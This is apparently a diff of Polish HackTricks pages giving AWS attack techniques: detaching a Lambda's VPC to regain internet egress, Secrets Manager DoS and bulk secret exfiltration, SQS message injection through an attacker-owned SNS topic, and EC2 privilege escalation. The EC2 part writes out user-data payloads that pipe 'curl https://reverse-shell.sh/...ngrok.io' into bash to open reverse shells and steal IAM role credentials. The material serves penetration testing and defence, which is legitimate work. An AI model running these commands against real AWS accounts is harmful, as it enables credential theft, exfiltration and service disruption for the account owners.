{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+19
-16
@@ -1,16 +1,18 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Wymuś wyjście funkcji Lambda z ograniczonego VPC, aktualizując jej konfigurację na pusty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcja zacznie wtedy działać w Lambda-managed networking plane, odzyskując dostęp do internetu wychodzącego i omijając egress controls wymuszane przez prywatne podsieci VPC bez NAT.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Abusing it
|
||||
Wymuś wyjście funkcji Lambda z ograniczonego VPC, aktualizując jej konfigurację do pustego VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcja będzie wtedy działać w warstwie sieciowej zarządzanej przez Lambda, odzyskując wychodzący dostęp do internetu i omijając kontrole ruchu wychodzącego stosowane na prywatnych podsieciach VPC bez NAT.
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
|
||||
- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
|
||||
## Wykorzystanie
|
||||
|
||||
- Wymagania wstępne: uprawnienie lambda:UpdateFunctionConfiguration do docelowej funkcji (oraz lambda:InvokeFunction do walidacji), plus uprawnienia do aktualizacji kodu/handlera jeśli je zmieniasz.
|
||||
- Założenia: Funkcja jest obecnie skonfigurowana z VpcConfig wskazującym na prywatne podsieci bez NAT (więc dostęp wychodzący do internetu jest zablokowany).
|
||||
- Region: us-east-1
|
||||
|
||||
### Steps
|
||||
### Kroki
|
||||
|
||||
0) Prepare a minimal handler that proves outbound HTTP works
|
||||
0) Przygotuj minimalny handler, który udowodni, że wychodzący ruch HTTP działa
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
@@ -26,12 +28,12 @@ zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Record current VPC config (to restore later if needed)
|
||||
1) Zapisz bieżącą konfigurację VPC (aby odtworzyć później w razie potrzeby)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Detach the VPC by setting empty lists
|
||||
2) Odłącz VPC, ustawiając puste listy
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
@@ -39,25 +41,26 @@ aws lambda update-function-configuration \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) Invoke and verify outbound access
|
||||
3) Wywołaj funkcję i zweryfikuj dostęp wychodzący
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Restore original VPC config
|
||||
(Opcjonalnie) Przywróć oryginalną konfigurację VPC
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- Przywraca nieograniczony dostęp do internetu wychodzący z funkcji, umożliwiając data exfiltration lub C2 z workloadów, które były celowo izolowane w private subnets bez NAT.
|
||||
### Wpływ
|
||||
- Przywraca nieograniczony wychodzący dostęp do internetu z funkcji, umożliwiając data exfiltration lub C2 z workloadów, które były celowo izolowane w prywatnych podsieciach bez NAT.
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
### Przykładowy wynik (po odłączeniu VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Cleanup
|
||||
- Jeśli utworzyłeś jakiekolwiek tymczasowe zmiany kodu/handlera, przywróć je.
|
||||
- Opcjonalnie przywróć oryginalny VpcConfig zapisany w /tmp/orig-vpc.json jak pokazano powyżej.
|
||||
### Sprzątanie
|
||||
- Jeśli wprowadziłeś tymczasowe zmiany w kodzie/handlerze, przywróć je.
|
||||
- Opcjonalnie przywróć oryginalny VpcConfig zapisany w /tmp/orig-vpc.json, jak pokazano powyżej.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+24
-29
@@ -4,22 +4,22 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Aby uzyskać więcej informacji sprawdź:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Odczyt sekretów
|
||||
### Czytanie Secrets
|
||||
|
||||
The **secrets themselves are sensitive information**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) to learn how to read them.
|
||||
Te **secrets** są wrażliwymi informacjami, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) aby dowiedzieć się, jak je odczytać.
|
||||
|
||||
### DoS - zmiana wartości sekretu
|
||||
### DoS — zmiana wartości Secret
|
||||
|
||||
Zmieniając wartość sekretu możesz **spowodować DoS we wszystkich systemach, które zależą od tej wartości.**
|
||||
Zmieniając wartość Secret możesz **spowodować DoS wszystkich systemów zależnych od tej wartości.**
|
||||
|
||||
> [!WARNING]
|
||||
> Zwróć uwagę, że poprzednie wartości również są przechowywane, więc łatwo jest po prostu wrócić do poprzedniej wartości.
|
||||
> Pamiętaj, że poprzednie wartości są również przechowywane, więc łatwo je przywrócić.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
@@ -28,11 +28,11 @@ aws secretsmanager put-secret-value \
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Jeśli attacker ma uprawnienie secretsmanager:UpdateSecret, może skonfigurować secret tak, aby używał KMS key będącego własnością attackera. Klucz ten jest początkowo skonfigurowany w taki sposób, że każdy może uzyskać do niego dostęp i go używać, więc aktualizacja secret z nowym KMS key jest możliwa. Gdyby klucz nie był dostępny, secret nie mógłby zostać zaktualizowany.
|
||||
Jeśli atakujący ma uprawnienie secretsmanager:UpdateSecret, może skonfigurować secret tak, aby używał KMS key należącego do atakującego. Ten klucz jest początkowo ustawiony w taki sposób, że każdy może go użyć, więc możliwe jest zaktualizowanie secret z użyciem nowego klucza. Gdyby klucz nie był dostępny, secret nie mógłby zostać zaktualizowany.
|
||||
|
||||
Po zmianie KMS key dla secret, attacker modyfikuje konfigurację swojego klucza tak, by tylko on miał do niego dostęp. W ten sposób w kolejnych wersjach secret będzie szyfrowany nowym kluczem, a ponieważ nikt nie będzie miał do niego dostępu, możliwość odzyskania secret zostanie utracona.
|
||||
Po przypisaniu secret nowego KMS key atakujący modyfikuje konfigurację tego klucza tak, aby tylko on miał do niego dostęp. W ten sposób w kolejnych wersjach secret będzie szyfrowany nowym kluczem, a ponieważ nie będzie do niego dostępu, możliwość pobrania secret zostanie utracona.
|
||||
|
||||
Ważne jest, aby zauważyć, że ten brak dostępu wystąpi dopiero w późniejszych wersjach, po zmianie zawartości secret, ponieważ aktualna wersja jest wciąż zaszyfrowana oryginalnym KMS key.
|
||||
Warto zauważyć, że ta niedostępność wystąpi tylko w późniejszych wersjach, po zmianie zawartości secret, ponieważ bieżąca wersja jest nadal zaszyfrowana oryginalnym KMS key.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -40,7 +40,7 @@ aws secretsmanager update-secret \
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
|
||||
Minimalna liczba dni potrzebna do usunięcia secretu to 7
|
||||
Minimalna liczba dni potrzebna, aby usunąć secret, wynosi 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -48,9 +48,9 @@ aws secretsmanager delete-secret \
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Możliwe jest przywrócenie sekretu, co pozwala na odzyskanie sekretów, które zostały zaplanowane do usunięcia, ponieważ minimalny okres usuwania sekretów to 7 dni, a maksymalny to 30 dni. W połączeniu z uprawnieniem secretsmanager:GetSecretValue umożliwia to odzyskanie ich zawartości.
|
||||
Możliwe jest przywrócenie sekretu, co pozwala na odzyskanie sekretów, które zostały zaplanowane do usunięcia, ponieważ minimalny okres usunięcia dla sekretów wynosi 7 dni, a maksymalny 30 dni. W połączeniu z uprawnieniem secretsmanager:GetSecretValue umożliwia to pobranie ich zawartości.
|
||||
|
||||
Aby odzyskać sekret, który jest w procesie usuwania, możesz użyć następującego polecenia:
|
||||
Aby odzyskać sekret, który jest w trakcie usuwania, możesz użyć następującego polecenia:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
@@ -66,11 +66,11 @@ aws secretsmanager delete-resource-policy \
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Stany sekretu służą do zarządzania jego wersjami. AWSCURRENT oznacza aktywną wersję, której używają aplikacje, AWSPREVIOUS przechowuje poprzednią wersję, aby w razie potrzeby móc się cofnąć, a AWSPENDING jest używany w procesie rotacji do przygotowania i weryfikacji nowej wersji przed ustawieniem jej jako aktualnej.
|
||||
Stany sekretu są używane do zarządzania jego wersjami. AWSCURRENT oznacza aktywną wersję, której używają aplikacje, AWSPREVIOUS przechowuje poprzednią wersję, aby móc się do niej cofnąć w razie potrzeby, a AWSPENDING jest używany w procesie rotacji, by przygotować i zweryfikować nową wersję przed uczynieniem jej bieżącą.
|
||||
|
||||
Aplikacje zawsze odczytują wersję oznaczoną AWSCURRENT. Jeśli ktoś przeniesie tę etykietę na niewłaściwą wersję, aplikacje będą używać nieważnych poświadczeń i mogą przestać działać.
|
||||
Aplikacje zawsze odczytują wersję oznaczoną jako AWSCURRENT. Jeśli ktoś przeniesie tę etykietę na niewłaściwą wersję, aplikacje będą używać nieprawidłowych poświadczeń i mogą przestać działać.
|
||||
|
||||
AWSPREVIOUS nie jest używany automatycznie. Jednak jeśli AWSCURRENT zostanie usunięty lub błędnie przypisany, może się wydawać, że wszystko nadal działa na poprzedniej wersji.
|
||||
AWSPREVIOUS nie jest używany automatycznie. Jednak jeśli AWSCURRENT zostanie usunięty lub przypisany nieprawidłowo, może się wydawać, że wszystko wciąż działa na poprzedniej wersji.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
@@ -78,15 +78,9 @@ aws secretsmanager update-secret-version-stage \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Masowa eksfiltracja sekretów za pomocą BatchGetSecretValue (do 20 na wywołanie)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Wykorzystaj API Secrets Manager BatchGetSecretValue, aby pobrać do 20 sekretów w jednym żądaniu. To może znacznie zmniejszyć liczbę wywołań API w porównaniu z iterowaniem GetSecretValue dla każdego sekretu. Jeśli używane są filters (tags/name), wymagane jest również uprawnienie ListSecrets. CloudTrail nadal rejestruje jedno zdarzenie GetSecretValue dla każdego sekretu pobranego w pakiecie.
|
||||
Nadużyj API Secrets Manager BatchGetSecretValue, aby pobrać do 20 sekretów w jednym żądaniu. To może znacząco zmniejszyć liczbę wywołań API w porównaniu do iteracyjnego używania GetSecretValue dla każdego sekretu. Jeśli używane są filtry (tags/name), wymagane jest też uprawnienie ListSecrets. CloudTrail wciąż rejestruje jedno zdarzenie GetSecretValue dla każdego sekretu pobranego w ramach batchu.
|
||||
|
||||
Wymagane uprawnienia
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
@@ -95,15 +89,15 @@ Wymagane uprawnienia
|
||||
- kms:Decrypt na CMK używanych przez sekrety (jeśli nie używasz aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Zwróć uwagę, że uprawnienie `secretsmanager:BatchGetSecretValue` samo w sobie nie wystarcza do pobrania sekretów — potrzebujesz także `secretsmanager:GetSecretValue` dla każdego sekretu, który chcesz pobrać.
|
||||
> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
Eksfiltruj za pomocą jawnej listy
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate przez filtry (tag key/value lub name prefix)
|
||||
Eksfiltracja przez filtry (tag key/value lub prefiks nazwy)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
@@ -120,11 +114,12 @@ aws secretsmanager batch-get-secret-value \
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Obsługa częściowych niepowodzeń
|
||||
Obsługa częściowych awarii
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Wpływ
|
||||
- Szybkie „smash-and-grab” wielu sekretów przy mniejszej liczbie wywołań API, potencjalnie omijające alerty skonfigurowane na wykrywanie skoków GetSecretValue.
|
||||
- Logi CloudTrail nadal zawierają jedno zdarzenie GetSecretValue na każdy sekret pobrany w ramach partii.
|
||||
- Szybkie “smash-and-grab” wielu sekretów przy mniejszej liczbie wywołań API, potencjalnie omijające alerty skonfigurowane na wykrywanie skoków GetSecretValue.
|
||||
- Logi CloudTrail wciąż zawierają jedno zdarzenie GetSecretValue dla każdego sekretu pobranego w ramach partii.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+5
-5
@@ -4,11 +4,11 @@
|
||||
|
||||
## Opis
|
||||
|
||||
Wykorzystaj politykę zasobu kolejki SQS, aby pozwolić kontrolowanemu przez atakującego tematowi SNS na publikowanie wiadomości do kolejki SQS ofiary. W tym samym koncie subskrypcja SQS do tematu SNS jest automatycznie potwierdzana; w przypadku cross-account należy odczytać token SubscriptionConfirmation z kolejki i wywołać ConfirmSubscription. Pozwala to na niezamówione wstrzyknięcie wiadomości, którym konsumenci po stronie downstream mogą domyślnie ufać.
|
||||
Abuse an SQS queue resource policy to allow an attacker-controlled SNS topic to publish messages into a victim SQS queue. In the same account, an SQS subscription to an SNS topic auto-confirms; in cross-account, you must read the SubscriptionConfirmation token from the queue and call ConfirmSubscription. This enables unsolid message injection that downstream consumers may implicitly trust.
|
||||
|
||||
### Wymagania
|
||||
- Możliwość modyfikacji polityki zasobu docelowej kolejki SQS: `sqs:SetQueueAttributes` na kolejce ofiary.
|
||||
- Możliwość utworzenia/opublikowania do tematu SNS kontrolowanego przez atakującego: `sns:CreateTopic`, `sns:Publish`, oraz `sns:Subscribe` na koncie/temacie atakującego.
|
||||
- Możliwość modyfikacji polityki zasobu kolejki SQS: `sqs:SetQueueAttributes` na kolejce ofiary.
|
||||
- Możliwość utworzenia/opublikowania do tematu SNS kontrolowanego przez atakującego: `sns:CreateTopic`, `sns:Publish`, oraz `sns:Subscribe` w koncie/temacie atakującego.
|
||||
- Tylko cross-account: tymczasowe `sqs:ReceiveMessage` na kolejce ofiary, aby odczytać token potwierdzenia i wywołać `sns:ConfirmSubscription`.
|
||||
|
||||
### Eksploatacja w tym samym koncie
|
||||
@@ -46,9 +46,9 @@ aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-me
|
||||
```
|
||||
### Uwagi dotyczące dostępu między kontami
|
||||
- Polityka kolejki powyżej musi zezwalać na obcy `TOPIC_ARN` (konto atakującego).
|
||||
- Subskrypcje nie zostaną automatycznie potwierdzone. Przyznaj sobie tymczasowo `sqs:ReceiveMessage` na kolejce ofiary, aby odczytać komunikat `SubscriptionConfirmation`, a następnie wywołaj `sns confirm-subscription` z jego `Token`.
|
||||
- Subskrypcje nie potwierdzą się automatycznie. Przyznaj sobie tymczasowo `sqs:ReceiveMessage` na kolejce ofiary, aby odczytać wiadomość `SubscriptionConfirmation`, a następnie wywołaj `sns confirm-subscription` z jej `Token`.
|
||||
|
||||
### Wpływ
|
||||
**Potencjalny wpływ**: Ciągłe wysyłanie niechcianych wiadomości do zaufanej kolejki SQS przez SNS, co może wywołać niezamierzone przetwarzanie, zanieczyszczenie danych lub nadużycie workflow.
|
||||
**Potencjalny wpływ**: Ciągłe niechciane wstrzykiwanie wiadomości do zaufanej kolejki SQS za pośrednictwem SNS, co może niezamierzenie uruchamiać przetwarzanie, zanieczyszczać dane lub prowadzić do nadużyć w przepływach pracy.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+40
-44
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Więcej **informacji o EC2** znajdziesz:
|
||||
Aby uzyskać więcej **informacji o EC2**, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,11 +12,11 @@ Więcej **informacji o EC2** znajdziesz:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Atakujący może **utworzyć instancję, przypisując jej rolę IAM, a następnie uzyskać dostęp do instancji** i ukraść poświadczenia roli IAM z endpointu metadanych.
|
||||
Atakujący może **utworzyć instancję, dołączając rolę IAM, a następnie uzyskać dostęp do instancji** w celu kradzieży poświadczeń roli IAM z endpointu metadanych.
|
||||
|
||||
- **Dostęp przez SSH**
|
||||
|
||||
Uruchom nową instancję używając istniejącego **ssh key** (`--key-name`) i następnie połącz się z nią przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia `ec2:CreateKeyPair`).
|
||||
Uruchom nową instancję używając **utworzonego** **ssh key** (`--key-name`) i następnie połącz się z nią przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Dostęp przez rev shell w user data**
|
||||
|
||||
Możesz uruchomić nową instancję używając **user data** (`--user-data`), która wyśle do Ciebie **rev shell**. Nie musisz w ten sposób określać security group.
|
||||
Możesz uruchomić nową instancję używając **user data** (`--user-data`), która wyśle do ciebie **rev shell**. W ten sposób nie musisz określać security group.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -42,9 +42,9 @@ Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
|
||||
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli EC2 przypisanej do istniejących instance profiles.
|
||||
|
||||
#### Privesc to ECS
|
||||
#### Privesc do ECS
|
||||
|
||||
Wykorzystując ten zestaw uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób, usługi ECS będą **uruchamiane** wewnątrz **EC2 instance**, do której masz dostęp, a następnie możesz dostać się do tych usług (docker containers) i **ukraść przypisane do nich role ECS**.
|
||||
Z tym zbiorem uprawnień możesz także **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób, usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przejąć te usługi (docker containers) i **ukraść przypisane do nich ECS roles**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -65,14 +65,14 @@ Aby dowiedzieć się, jak **wymusić uruchomienie usług ECS** na tej nowej inst
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienie `ecs:RegisterContainerInstance`, możesz być w stanie zarejestrować instancję w klastrze i przeprowadzić opisany atak.
|
||||
Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienie `ecs:RegisterContainerInstance`, możesz zarejestrować instancję w klastrze i przeprowadzić opisany atak.
|
||||
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do ról ECS przypisanych do zadań.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Podobnie jak w poprzednim scenariuszu, atakujący z tymi uprawnieniami mógłby **zmienić rolę IAM skompromitowanej instancji**, aby mógł wykraść nowe poświadczenia.\
|
||||
Ponieważ instance profile może mieć tylko 1 rolę, jeśli instance profile **już ma rolę** (częsty przypadek), będziesz także potrzebować **`iam:RemoveRoleFromInstanceProfile``**.
|
||||
Podobnie jak w poprzednim scenariuszu, atakujący z tymi uprawnieniami mógłby **zmienić rolę IAM skompromitowanej instancji**, aby mógł ukraść nowe poświadczenia.\
|
||||
Ponieważ instance profile może mieć tylko 1 rolę, jeśli instance profile **już ma rolę** (częsty przypadek), będziesz również potrzebować **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,33 +80,33 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Jeśli **instance profile ma role** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **instance profile bez role** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **role** do tego **instance profile** (jak opisano wcześniej), i **powiązać ten instance profile** z przejętą i**nstance:**
|
||||
Jeśli **instance profile ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **instance profile bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **instance profile** (jak omówiono wcześniej), i **powiązać przejęty instance profile** z przejętą i**nstance:**
|
||||
|
||||
- Jeśli instancja **nie ma żadnego instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
- Jeśli instance **nie ma żadnego instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do innej roli EC2 (musisz mieć przejętą instancję AWS EC2 oraz dodatkowe uprawnienie lub konkretny status instance profile).
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (wymaga przejęcia instancji AWS EC2 oraz posiadania dodatkowego uprawnienia lub określonego stanu instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Dzięki tym uprawnieniom można zmienić instance profile skojarzony z instancją, więc jeśli atakujący już ma dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról instance profile, zmieniając ten skojarzony z nią.
|
||||
Dzięki tym uprawnieniom można zmienić instance profile przypisany do instancji, więc jeśli atakujący już ma dostęp do instancji, będzie w stanie wykraść poświadczenia dla większej liczby ról związanych z instance profile, zmieniając ten przypisany do niej.
|
||||
|
||||
- Jeśli **ma instance profile**, możesz **usunąć** instance profile (`ec2:DisassociateIamInstanceProfile`) i **skojarzyć** je
|
||||
- Jeśli instancja **ma instance profile**, możesz **usunąć** instance profile (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- lub **zamienić** **instance profile** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- lub **zastąpić** **instance profile** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do innej EC2 role (wymagane jest przejęcie AWS EC2 instance oraz dodatkowe uprawnienie lub określony status instance profile).
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (wymagane uprzednie przejęcie instancji AWS EC2 oraz posiadanie dodatkowego uprawnienia lub specyficznego statusu instance profile).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Atakujący z uprawnieniami **`ec2:RequestSpotInstances`and`iam:PassRole`** może **zażądać** **Spot Instance** z **przypisaną EC2 Role** oraz z **rev shell** w **user data**.\
|
||||
Atakujący posiadający uprawnienia **`ec2:RequestSpotInstances`and`iam:PassRole`** może **zażądać** **Spot Instance** z **EC2 Role attached** i umieścić **rev shell** w **user data**.\
|
||||
Po uruchomieniu instancji może **ukraść IAM role**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Atakujący posiadający uprawnienie **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Wśród nich może **zmienić user data**, co oznacza, że może sprawić, że instancja **uruchomi dowolny kod.** To może być użyte do uzyskania **rev shell na instancji EC2**.
|
||||
Atakujący z uprawnieniem **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Między innymi może **zmienić user data**, co oznacza, że może sprawić, że instancja **wykona dowolny kod.** To można wykorzystać do uzyskania **rev shell na instancji EC2**.
|
||||
|
||||
Zwróć uwagę, że atrybuty można modyfikować tylko wtedy, gdy instancja jest zatrzymana, więc wymagane są **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
|
||||
Należy pamiętać, że atrybuty można **modyfikować tylko, gdy instancja jest zatrzymana**, więc potrzebne są **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances``.**
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Potential Impact:** Bezpośredni privesc do dowolnej EC2 IAM Role przypisanej do utworzonej instancji.
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej EC2 IAM Role przypisanej do utworzonej instancji.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** może utworzyć **nową wersję Launch Template** z **rev shell w** **user data** i **dowolną EC2 IAM Role przypisaną do niej**, zmienić domyślną wersję, a **dowolna grupa Autoscaler** **używająca** tej **Launch Templat**e która jest **skonfigurowana** do użycia **najnowszej** lub **domyślnej wersji** **ponownie uruchomi instancje** używając tego szablonu i wykona rev shell.
|
||||
Atakujący posiadający uprawnienia **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** może utworzyć **nową Launch Template wersję** z **rev shell w** **user data** oraz **dowolną EC2 IAM Role na niej**, zmienić domyślną wersję, a **dowolna Autoscaler group** **używająca** tego **Launch Templat**e, który jest **skonfigurowany** do użycia **latest** lub **default version** ponownie **ponownie uruchomi instancje** używając tego template i wykona rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Potencjalny wpływ:** Direct privesc do innej roli EC2.
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do innej roli EC2.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
